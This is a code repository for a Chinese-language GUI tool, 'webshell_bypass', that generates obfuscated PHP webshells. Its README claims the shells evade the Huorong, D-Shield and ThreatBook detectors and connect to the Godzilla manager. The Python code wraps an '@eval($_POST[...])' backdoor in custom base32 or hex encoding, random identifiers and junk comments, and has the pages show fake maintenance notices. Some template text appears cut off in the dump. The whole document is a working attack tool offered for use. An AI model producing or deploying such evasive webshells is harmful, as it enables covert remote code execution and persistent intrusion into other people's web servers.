├── README.md
└── webshell_bypass.py
/README.md:
--------------------------------------------------------------------------------
1 | # webshell_bypass
2 | 一个一键生成免杀的webshell工具
3 | ## 火绒免杀
4 | 
5 | ## D盾免杀
6 | 
7 | ## 微步免杀
8 | 
9 | 
10 | ## 哥斯拉可正常连接
11 | 
12 | ### 目前只更新了php免杀,后面再加入其他免杀
13 | ### 公众号:白昼信安
14 |
15 |
16 |
--------------------------------------------------------------------------------
/webshell_bypass.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import os
3 | import random
4 | from PyQt5 import QtWidgets, QtGui, QtCore
5 |
6 | #编码函数
7 |
8 | def custom_base32_encode(data, table):
9 | bits = 0
10 | value = 0
11 | output = ''
12 | for byte in data.encode():
13 | value = (value << 8) | byte
14 | bits += 8
15 | while bits >= 5:
16 | bits -= 5
17 | output += table[(value >> bits) & 0x1F]
18 | if bits > 0:
19 | output += table[(value << (5 - bits)) & 0x1F]
20 | return output
21 |
22 | def hex_encode(data):
23 | return ''.join([f"{ord(c):02x}" for c in data])
24 |
25 | def random_str(chars, length):
26 | return ''.join(random.choices(chars, k=length))
27 |
28 | def random_name(length=6):
29 | return ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=length))
30 |
31 | def rand_comment():
32 | return f"/*{random_str('xYZ123', 6)}*/"
33 |
34 | def rand_noise():
35 | return f"\n\t{rand_comment()}\n"
36 |
37 | #模板内容
38 |
39 | bs32_template = '''{var1} = '{encoded_payload}';{comment1}
45 | $this->{var2} = @{decode_func}($this->{var1});{comment2}
46 | if (isset($_POST['{password}'])){brace_open}
47 | @eval({noise_string}.$this->{var2}.{noise_string});
48 | {brace_close}{comment3}
49 | {brace_close}
50 | {brace_close}
51 |
52 | new {class_name}();{comment4}
53 |
54 | function {decode_func}(${param}){brace_open}
55 | $custom_table = '{char_table}';
56 | ${ret_var} = '';
57 | $v = 0; $vbits = 0;
58 | for ($i = 0, $j = strlen(${param}); $i < $j; $i++){brace_open}{comment5}
59 | $v <<= 5;
60 | $c = strpos($custom_table, ${param}[$i]);
61 | if($c === false) exit('invalid char');
62 | $v += $c;{comment6}
63 | $vbits += 5;
64 | while ($vbits >= 8){brace_open}
65 | $vbits -= 8;
66 | ${ret_var} .= chr($v >> $vbits);
67 | $v &= ((1 << $vbits) - 1);
68 | {brace_close}
69 | {brace_close}
70 | return ${ret_var};
71 | {brace_close}
72 |
73 | echo "
Site Under Maintenance
";
74 | ?>'''
75 |
76 | bs16_template = '''{var1} = '{encoded_payload}';{comment1}
85 | $this->{var2} = {decode_func}($this->{var1});{comment2}
86 | if (isset($_POST['{password}'])){brace_open}
87 | eval({noise_string} . $this->{var2} . {noise_string});
88 | {brace_close}{comment3}
89 | {brace_close}
90 | {brace_close}
91 |
92 | new {class_name}();{comment4}
93 | {brace_close}
94 |
95 | function {decode_func}(${param}){brace_open}
96 | ${ret_var} = '';
97 | for ($i = 0; $i < strlen(${param}); $i += 2){brace_open}
98 | ${ret_var} .= chr(hexdec(substr(${param}, $i, 2)));{comment5}
99 | {brace_close}
100 | return ${ret_var};
101 | {brace_close}
102 |
103 | echo "Site currently under scheduled update.
";
104 | ?>'''
105 |
106 | def build_hex_obfuscated_shell(password):
107 | class_name = random_name(5).capitalize() + random_name(3)
108 | var_payload = random_name(6)
109 | var_decoded = random_name(6)
110 | decode_func = random_name(6)
111 | fake_func = random_name(6)
112 | junk_var = random_name(6)
113 | junk_val = random_name(6)
114 |
115 | payload = f'@eval($_POST["{password}"]);'
116 | encoded = hex_encode(payload)
117 |
118 | return f''' 0) {{ {rand_comment()}
127 | $this->{var_payload} = '{encoded}';
128 | $this->{var_decoded} = {decode_func}($this->{var_payload});
129 | eval($this->{var_decoded});
130 | }}
131 | }}
132 | }}
133 |
134 | // 启动调度器 {rand_comment()}
135 | new {class_name}();
136 |
137 | // 解码器函数 {rand_comment()}
138 | function {decode_func}($hex) {{
139 | $out = '';
140 | for ($i = 0; $i < strlen($hex); $i += 2) {{
141 | $out .= chr(hexdec(substr($hex, $i, 2))); {rand_comment()}
142 | }}
143 | return $out;
144 | }}
145 |
146 | // 服务入口 {rand_comment()}
147 | function {fake_func}() {{
148 | return md5("{random_name(6)}") === sha1("{random_name(5)}");
149 | }}
150 | ?>'''
151 |
152 | #构造器
153 |
154 | def build_bs32_webshell(payload, char_table, password):
155 | encoded = custom_base32_encode(payload, char_table)
156 | return bs32_template.format(
157 | class_name=random_name(4),
158 | var1=random_name(5),
159 | var2=random_name(5),
160 | ret_var=random_name(5),
161 | param=random_name(5),
162 | decode_func=random_name(6),
163 | brace_open='{',
164 | brace_close='}',
165 | encoded_payload=encoded,
166 | comment1=rand_comment(),
167 | comment2=rand_comment(),
168 | comment3=rand_comment(),
169 | comment4=rand_comment(),
170 | comment5=rand_comment(),
171 | comment6=rand_comment(),
172 | noise1=rand_noise(),
173 | noise2=rand_noise(),
174 | maintenance_noise=random_str('abcXYZ123', 8),
175 | noise_string=f'"{rand_comment()}"',
176 | char_table=char_table,
177 | password=password
178 | )
179 |
180 | def build_bs16_webshell(payload, password):
181 | encoded = hex_encode(payload)
182 | return bs16_template.format(
183 | class_name=random_name(4),
184 | var1=random_name(5),
185 | var2=random_name(5),
186 | ret_var=random_name(5),
187 | param=random_name(5),
188 | decode_func=random_name(6),
189 | brace_open='{',
190 | brace_close='}',
191 | encoded_payload=encoded,
192 | comment1=rand_comment(),
193 | comment2=rand_comment(),
194 | comment3=rand_comment(),
195 | comment4=rand_comment(),
196 | comment5=rand_comment(),
197 | maintenance_noise=random_str('abcXYZ123', 8),
198 | noise1=rand_noise(),
199 | noise2=rand_noise(),
200 | noise_string=f'"{rand_comment()}"',
201 | password=password
202 | )
203 |
204 | #GUI
205 |
206 | class WebshellGenerator(QtWidgets.QWidget):
207 | def __init__(self):
208 | super().__init__()
209 | self.init_ui()
210 |
211 | def init_ui(self):
212 | self.setWindowTitle("WebShell 生成器 By:M9")
213 | self.setFixedSize(520, 340)
214 | layout = QtWidgets.QVBoxLayout()
215 |
216 | self.template_combo = QtWidgets.QComboBox()
217 | self.template_combo.addItems([
218 | "免杀模板1",
219 | "免杀模板2",
220 | "免杀模板3"
221 | ])
222 |
223 | self.table_input = QtWidgets.QLineEdit()
224 | self.table_input.setText(''.join(random.sample('abcdefghijklmnopqrstuvwxyz234567', 32)))
225 | self.table_label = QtWidgets.QLabel("自定义 Base32 字符表:")
226 |
227 | self.pass_input = QtWidgets.QLineEdit()
228 | self.pass_input.setText("cmd")
229 | self.pass_label = QtWidgets.QLabel("访问密码参数名:")
230 |
231 | self.generate_button = QtWidgets.QPushButton("生成 WebShell")
232 | self.generate_button.clicked.connect(self.generate_webshell)
233 |
234 | layout.addWidget(QtWidgets.QLabel("请选择编码方式:"))
235 | layout.addWidget(self.template_combo)
236 | layout.addWidget(self.table_label)
237 | layout.addWidget(self.table_input)
238 | layout.addWidget(self.pass_label)
239 | layout.addWidget(self.pass_input)
240 | layout.addWidget(self.generate_button)
241 |
242 | self.setLayout(layout)
243 |
244 | self.template_combo.currentIndexChanged.connect(self.toggle_table_input)
245 | self.toggle_table_input()
246 |
247 | def toggle_table_input(self):
248 | is_bs32 = self.template_combo.currentIndex() == 0
249 | self.table_input.setVisible(is_bs32)
250 | self.table_label.setVisible(is_bs32)
251 |
252 | def generate_webshell(self):
253 | password = self.pass_input.text().strip()
254 | payload = '@eval($_POST["' + password + '"]);'
255 | selected = self.template_combo.currentIndex()
256 |
257 | if selected == 0:
258 | table = self.table_input.text().strip()
259 | if len(table) != 32 or len(set(table)) != 32:
260 | QtWidgets.QMessageBox.warning(self, "字符表无效", "Base32 字符表必须是32个唯一字符")
261 | return
262 | content = build_bs32_webshell(payload, table, password)
263 | filename = 'bs32.php'
264 | elif selected == 1:
265 | content = build_bs16_webshell(payload, password)
266 | filename = 'bs16.php'
267 | else:
268 | content = build_hex_obfuscated_shell(password)
269 | filename = 'hex_clean.php'
270 |
271 | output_path = os.path.join(os.getcwd(), filename)
272 | with open(output_path, 'w', encoding='utf-8') as f:
273 | f.write(content)
274 |
275 | QtWidgets.QMessageBox.information(self, "生成成功", f"文件已保存:\n{output_path}")
276 |
277 | if __name__ == '__main__':
278 | app = QtWidgets.QApplication(sys.argv)
279 | window = WebshellGenerator()
280 | window.show()
281 | sys.exit(app.exec_())
282 |
--------------------------------------------------------------------------------